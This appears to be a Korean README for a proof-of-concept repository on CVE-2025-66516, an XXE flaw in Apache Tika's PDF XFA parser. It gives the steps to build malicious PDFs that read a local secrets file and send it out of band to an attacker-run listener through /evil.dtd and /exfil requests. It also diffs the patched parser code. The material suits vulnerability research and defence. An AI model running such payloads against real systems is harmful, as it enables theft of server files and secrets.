
교육 목적으로만 사용되는 CVE-2025-66516 Apache Tika 취약점에 대한 PoC
이 저장소는 Apache Tika 3.2.2 미만 버전의 XML External Entity (XXE) 주입 취약점인 CVE-2025-66516에 대한 개념 증명 (POC) 익스플로잇을 포함합니다. 이 취약점은 tika-parser-pdf-module 컴포넌트의 XFA (XML Forms Architecture) 파서에 영향을 미치며, 공격자가 악의적으로 조작된 PDF 문서를 통해 로컬 파일을 읽고 민감한 데이터를 유출할 수 있게 합니다.
CVE-2025-66516은 Apache Tika의 PDF 파싱 기능에 존재하는 심각한 보안 취약점입니다. Tika 3.2.2 이전 버전은 내장된 XFA 양식이 있는 PDF 파일을 처리할 때 XML 파서의 외부 엔터티 처리를 적절히 제한하지 못합니다. 이를 통해 공격자는 다음과 같은 작업을 수행할 수 있습니다:
이 저장소에는 다음이 포함됩니다:
Apache Tika XXE, CVE-2025-66516 exploit, Tika security vulnerability, XML External Entity attack, PDF XXE injection, Tika 3.2.1 vulnerability, out-of-band XXE, OOB XXE, security research, penetration testing, POC exploit, vulnerability disclosure, XFA parser vulnerability, tika-parser-pdf-module, file disclosure vulnerability, data exfiltration, SSRF attack, secure coding, vulnerability analysis, security testing, ethical hacking, infosec, cybersecurity research, Apache Tika exploit code, XXE payload, PDF security, document parser vulnerability
참고: 이 POC는 다음 환경에서 테스트 및 검증되었습니다:
먼저 POC 전용 디렉토리를 생성하여 모든 파일을 정리합니다.
mkdir apache_tika_poc
cd apache_tika_poc
POC를 진행하기 전에 환경에 필요한 종속성이 있는지 확인합니다. 다음 명령은 Java 컴파일러/런타임 버전과 OS 세부 정보를 표시하며, 이는 취약점 재현에 중요합니다.
# Java 버전 확인
java -version
javac -version
# OS 버전 확인
lsb_release -a
예상 출력: Java 버전 정보 (예: OpenJDK 17.x.x) 및 Ubuntu 버전 세부 정보 (24.04.3 LTS)가 표시되어야 합니다.
취약 버전 (3.2.1)과 패치 버전 (3.2.2)을 각각 다운로드합니다. 두 버전이 모두 필요하며, XXE 취약점이 3.2.1에 존재하고 3.2.2에서 수정되었음을 입증해야 합니다. tika-app JAR은 모든 Tika 파서와 종속성을 포함하는 올인원 실행 파일입니다.
# 취약한 Tika 버전 다운로드
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar
# 패치된 Tika 버전 다운로드
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar
예상 출력: 두 개의 JAR 파일 (tika-app-3.2.1.jar ~75MB, tika-app-3.2.2.jar ~75MB)이 다운로드됩니다.
JAR 매니페스트 파일을 검사하여 정확한 버전을 확인합니다. 이는 테스트 전 올바른 취약/패치 버전을 확인하는 절차입니다.
# 취약 버전 매니페스트 확인
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF
# 패치 버전 매니페스트 확인
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF
예상 출력: 각각 Implementation-Version: 3.2.1 및 3.2.2를 보여주는 매니페스트 파일과 빌드 타임스탬프 등 기타 메타데이터가 표시됩니다.
프로젝트 오브젝트 모델 (Maven의 POM 속성은 프로젝트의 종속성, 빌드 구성 및 메타데이터를 정의)을 살펴보면 보안 권고에서 언급된 별도의 tika-parsers가 없음을 알 수 있습니다. 이는 버전 관련 사항일 수 있으며, POC의 대상인 3.2.1 및 3.2.2 버전에서는 tika-parsers 모듈이 개별 파서 모듈로 대체된 것으로 추정됩니다.
# 두 버전의 모든 pom.properties 파일 나열
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika
예상 출력: tika-core, tika-parser-pdf-module, tika-xmp 등 모든 Tika 컴포넌트 모듈 목록이 표시됩니다. 단일 tika-parsers 모듈 대신 개별 파서 모듈이 있음을 확인할 수 있습니다.
핵심 Tika 컴포넌트의 버전 정보를 추출하여 표시합니다. 이는 내부 모듈 구조를 이해하고 핵심 라이브러리와 PDF 파서 모듈이 모두 예상 버전인지 확인하는 데 도움이 됩니다.
# 3.2.1의 tika-core, tika-parser-pdf-module, tika-app 버전 확인
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
# 3.2.2의 tika-core, tika-parser-pdf-module, tika-app 버전 확인
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
예상 출력: 각 컴포넌트에 대해 version=3.2.1 또는 version=3.2.2를 보여주는 POM 속성이 ---로 구분되어 표시됩니다. 세 컴포넌트(tika-core, tika-parser-pdf-module, tika-app) 모두 전체 버전과 일치해야 합니다.
XXE 공격의 대상이 될 가상의 시크릿 파일을 생성합니다. 이 파일은 공격자가 XXE 취약점을 통해 유출하려고 시도할 수 있는 민감한 데이터 (예: API 키 또는 자격 증명)를 시뮬레이션합니다.
# 대상 시크릿 파일 생성
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt
예상 출력: INTERNAL_SERVER_KEY=EXPOSED 문자열이 포함된 fake-secrets.txt 파일이 생성됩니다. 이 파일은 XXE 익스플로잇에 의해 읽힙니다.
수정 사항을 이해하려면 두 버전의 XMLReaderUtils 클래스를 디컴파일하여 비교해야 합니다. 이 클래스는 XML 파서를 생성하는 역할을 하며, 취약점은 XML 엔터티 처리 구성 방식에서 비롯됩니다.
# 분석을 위해 취약 JAR 추출
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..
# 분석을 위해 패치 JAR 추출
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..
# 취약 클래스 디컴파일
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..
# 패치 클래스 디컴파일
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..
# 버전 비교
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt
예상 출력: 추출 시 디컴파일된 클래스 파일이 포함된 두 개의 디렉토리가 생성됩니다. javap 명령은 XMLReaderUtils 클래스의 바이트코드 디스어셈블리를 생성합니다. diff 명령은 버전 간 XML 파서 구성의 차이점을 보여줍니다.
신중하게 비교하면 3.2.2에서 Doctype 정의(DTD) 및 외부 엔터티 지원이 비활성화되었음을 알 수 있습니다. 이것이 수정의 핵심입니다:
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"
예상 출력: 3.2.2에서 DTD 처리 및 외부 엔터티 해석을 비활성화하는 호출이 추가되었음을 보여주는 diff 출력이 표시됩니다. accessExternalDTD를 빈 문자열로 설정하고 supportDTD를 false로 설정하는 줄을 찾으십시오.
이는 악성 PDF가 서버 파일 시스템의 로컬 파일을 읽는 고전적인 XXE 공격을 보여줍니다. Python 스크립트는 XXE 페이로드 ( file:///fake-secrets.txt 참조)가 포함된 XML이 포함된 XFA 양식이 포함된 PDF를 생성합니다.
# 악성 PDF 생성
python3 ./gen_poc.py
# 취약한 Tika 3.2.1로 테스트
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf
# 패치된 Tika 3.2.2로 테스트
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf
예상 출력:
gen_poc.py가 XXE 페이로드가 포함된 cve_2025_66516_poc.pdf를 생성합니다.INTERNAL_SERVER_KEY=EXPOSED (시크릿 파일의 내용!)가 포함됩니다.이는 대역 외 (OOB) 데이터 유출을 사용하는 보다 정교한 XXE 공격을 보여줍니다. 악성 PDF는 응답에 파일 내용을 반영하는 대신 Tika가 데이터를 공격자가 제어하는 외부 서버로 보내도록 강제합니다. 이 기술은 애플리케이션이 파싱된 콘텐츠를 반환하지 않는 경우에도 작동합니다.
# 대역 외 XXE PDF 생성
python3 ./gen_oob_poc.py
# HTTP 리스너 시작 (별도 터미널에서)
python3 ./http_listener.py
# 취약한 Tika 3.2.1로 OOB XXE 테스트
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf
# 패치된 Tika 3.2.2로 OOB XXE 테스트
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf
예상 출력:
gen_oob_poc.py가 OOB XXE 페이로드가 포함된 cve-2025-66516_OOB_XXE.pdf를 생성합니다.http_listener.py가 8888 포트에서 서버를 시작하고 들어오는 요청을 기다립니다./evil.dtd에 대한 GET 요청 (외부 DTD 페치)/exfil?data=INTERNAL_SERVER_KEY=EXPOSED에 대한 GET 요청 (데이터 유출)Tika가 단순한 명령줄 도구가 아닌 Java 애플리케이션 내에서 라이브러리로 사용되는 보다 현실적인 시나리오에서 취약점을 테스트합니다. DocumentProcessor.java 코드는 일반적인 애플리케이션이 문서 파싱을 위해 Tika를 통합하는 방식을 시뮬레이션합니다.
# 취약한 Tika로 컴파일
javac -cp tika-app-3.2.1.jar DocumentProcessor.java
# 취약한 Tika로 실행
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
# 패치된 Tika로 컴파일
javac -cp tika-app-3.2.2.jar DocumentProcessor.java
# 패치된 Tika로 실행
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
예상 출력:
Document processed successfully!
Content extracted: [INTERNAL_SERVER_KEY=EXPOSED를 포함한 텍스트]
⚠️ SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
Document processed successfully!
Content extracted: [시크릿 데이터가 없는 텍스트]
✓ No XXE vulnerability detected.
분석 단계에서 생성된 임시 디렉토리와 파일을 제거하여 작업 공간을 정리합니다.
# 추출 디렉토리 제거
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt
예상 출력: 디렉토리와 디컴파일된 텍스트 파일이 제거됩니다. 오류가 없으면 출력이 표시되지 않습니다.
보안 취약점을 발견한 경우 책임 있는 방식으로 보고해 주십시오:
apache-tika xxe-vulnerability cve-2025-66516 security-research proof-of-concept xml-external-entity cybersecurity vulnerability-research poc infosec penetration-testing ethical-hacking pdf-security xfa-parser data-exfiltration
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.
교육 목적으로만 사용 - 이 POC는 교육 목적과 승인된 보안 테스트만을 위해 제공됩니다. 소유하지 않거나 테스트 권한이 없는 시스템에 대한 무단 사용은 불법입니다.
이 POC 또는 문서를 개선하기 위한 기여를 환영합니다! 모든 기여는 다음을 준수해야 합니다:
마지막 업데이트: 2025년 12월
ssrfoob-xxefile-disclosuresecure-codingvulnerability-analysissecurity-testingexploit-developmentred-teamblue-teamappsecdocument-parsingjava-security